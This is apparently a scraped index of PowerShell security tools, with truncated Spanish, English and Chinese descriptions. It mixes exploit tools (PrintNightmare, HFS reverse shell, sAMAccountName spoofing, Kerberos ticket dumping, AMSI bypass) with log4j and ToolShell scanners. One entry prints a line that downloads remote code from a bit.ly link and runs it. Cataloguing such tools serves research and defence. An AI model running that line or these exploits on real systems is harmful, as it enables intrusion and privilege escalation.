CVE-2017-8570

Uso: Después de descargar el script, modifica attackip por la IP de Kali, LPORT por el puerto que escuchará msf, y DIR por cualquier directorio vacío. Dale permisos 777 al script root@kitploit: chmod 777 auto Luego ejecuta el script root@kitploit: ./auto Luego, en el directorio DIR+Office8570,...

Rejetto-HTTP-File-Server-HFS-2.3.x---Remote-Command-Execution

Rejetto HTTP File Server HFS 2.3.x - Ejecución Remota de Comandos CVE-2014-6287 Reescritura de Pergyz 49584.py para devolver un Reverse Shell de PowerShell x64 Uso $ python3 hfs-2-3-exploit.py Proporciona las variables cuando se te solicite, inicia Netcat automáticamente por ti...

CVE-2021-1675

CVE-2021-1675 - PrintNightmare LPE PowerShell Caleb Stewart | John Hammond | 1 de junio de 2021 CVE-2021-1675 es una vulnerabilidad crítica de ejecución remota de código y escalada de privilegios local denominada "PrintNightmare". Se han publicado exploits de prueba de concepto Python, C++ para l...

MicroburstSecretsHunter

MicroBurst Secrets Hunter Un escáner de PowerShell que examina la salida de Get-AzDomainInfo de MicroBurst en busca de contraseñas en texto plano, claves, cadenas de conexión y otros secretos que nunca deberían permanecer sin cifrar en un entorno de Azure. Diseñado para flujos de trabajo de...

SOC335-CVE-2024-49138-Exploitation-Detected

Detección de Explotación de CVE-2024-49138 En este proyecto, investigué un incidente de seguridad simulado en la plataforma LetsDefend, donde una máquina Windows fue comprometida mediante la explotación de CVE-2024-49138—una vulnerabilidad de escalada de privilegios en el controlador del Sistema ...

ToolShellFinder

🛠️ ToolShellFinder: Detección de CVE-2025-53770 y CVE-2025-53771 Un script de alto rendimiento en PowerShell 7+ para escanear registros de IIS y detectar signos de explotación relacionados con ToolShell , dirigido específicamente a las vulnerabilidades de día cero CVE-2025-53770 y CVE-2025-53771 e...

Empire

...

KSK-ITDK-CVE-2026-21509-Mitigation

Mitigación de CVE-2026-21509 Script de PowerShell con detección y remediación para CVE-2026-21509...

Search-log4Jvuln-AppScanSTD

Buscar vulnerabilidad log4J usando AppScan Standard y una lista de sitios web Este script de Powershell ejecuta escaneos de AppScan Standard contra una lista de sitios web URLs.txt verificando solo la vulnerabilidad Log4J CVE-2021-44228. Estructura del proyecto: Después de ejecutar el script, lee...

ElectronVulnerableVersion

Encuentra aplicaciones Electron vulnerables a CVE-2023-4863 / CVE-2023-5129 Este script de PowerShell descarga Sysinternals Strings, busca recursivamente cadenas en todos los archivos .exe en todas las unidades, y compara la versión de Electron encontrada con las versiones parcheadas conocidas a...

Get-log4j-Windows-local

Get-log4j-Windows-local.ps1 Identify all log4j components on a single local windows servers. CVE-2021-44228. A single use copy - see https://github.com/KeysAU/Get-log4j-Windows.ps1 for multi computer. Apache log4j CVE-2021-44228 Script Running: Export: Columns A - I: Continued: Description:...

Get-log4j-Windows.ps1

Get-log4j-Windows.ps1 Identifica todos los componentes log4j en todos los servidores Windows, en todo el dominio; puede ser multidominio. CVE-2021-44228 Se escala a más de 1,000 servidores Windows, 250+ servidores a la vez. 1k servidores tardaron aproximadamente 1 hora y media. Apache log4j...

GoAround

GoAround 一个能够生成AMSI绕过并使用三种不同混淆方法自动混淆PowerShell脚本的工具。GoAround采用MIT许可证。更多信息请参阅LICENSE文件。 GoAround 免责声明 安装 用户指南 使用方法 操作模式 绕过类型 混淆方法 示例 免责声明 本工具旨在帮助渗透测试人员在日常后渗透任务中使用，并作为研究项目开发。任何恶意使用本工具或在未经授权的情况下对第三方系统使用本工具的行为，均由用户自行承担责任。 安装 只需从Github下载代码，然后在Windows命令行或PowerShell控制台中运行该工具即可。 用户指南 使用GoAround可以完成两个不同的任...

CVE-2014-4113

CVE-2014-4113 PowerShell CVE-2014-4113 x64 Windows Only iex New-Object Net.WebClient.DownloadString'http://bit.ly/1qosbJH'...

PS-CVE-2021-44228

PS-CVE-2021-44228 Detección estática de librerías log4j vulnerables en equipos Windows miembros de un dominio AD. Utiliza el binario de la herramienta de detección proporcionado por @1lann: https://github.com/1lann/log4shelldetect Requisitos previos Privilegios de administrador en los equipos...

CMD_Bypass_Assessment

Análisis de métodos de bypass de CMD CMD Bypass Method Analysis es un script de PowerShell que prueba automáticamente métodos de bypass de CMD en sistemas Windows y evalúa los resultados. El script verifica varios métodos de bypass de CMD y guarda los resultados en un archivo de texto,...

ThreatHunting

ThreatHunting 我正在发布 GPL v3 工具，用于在你的组织中开展威胁狩猎。 Nexthink 模块 Threat hunting - Potential malware downloads v1.0.xml 这是一份报告，显示常见的恶意软件文档技术对互联网域名的所有调用。大多数端点恶意软件——如宏、Office 漏洞利用等——都使用相同的几种方法来下载其有效载荷。 目前监控的方法包括： rundll32 mshta PowerShell wscript/cscript wmic sct 远程调用 InfDefaultInstall Inf 远程调用 certutil...

Invoke-sAMSpoofing

Invoke-sAMSpoofing Explotaciones CVE-2021-42287/CVE-2021-42278 en powershell Tabla de contenido Resumen Menú Capturas de pantalla Referencias Resumen Un script sencillo para atacar AD con las explotaciones CVE-2021-42287/CVE-2021-42278 automáticamente. Menú Invoke-sAMSpooofing Invoke-GoldenTicket...

PowershellKerberos

PowershellKerberos 一些使用 Powershell 滥用 Kerberos 的脚本。查看使用视频（感谢 @BRIPWN） YouTube Injector.ps1 用于注入 Kerberos 票据的小工具。支持两种工作模式： 可以从 kirbi 文件读取票据（模式 1） 可以从 b64 读取票据（模式 2） 示例： root@kitploit: .\injector.ps1 1 A:\SSD\Share\ticket.kirbi .\injector.ps1 2 "doi.....q" Dumper.ps1 该工具允许你从 LSA 缓存中导出 Kerberos 票据。通...

calebstewart-CVE-2021-1675

CVE-2021-1675 - PrintNightmare LPE PowerShell Caleb Stewart | John Hammond | July 1, 2021 CVE-2021-1675 is a critical remote code execution and local privilege escalation vulnerability dubbed "PrintNightmare." Proof-of-concept exploits have been released Python, C++ for the remote code execution...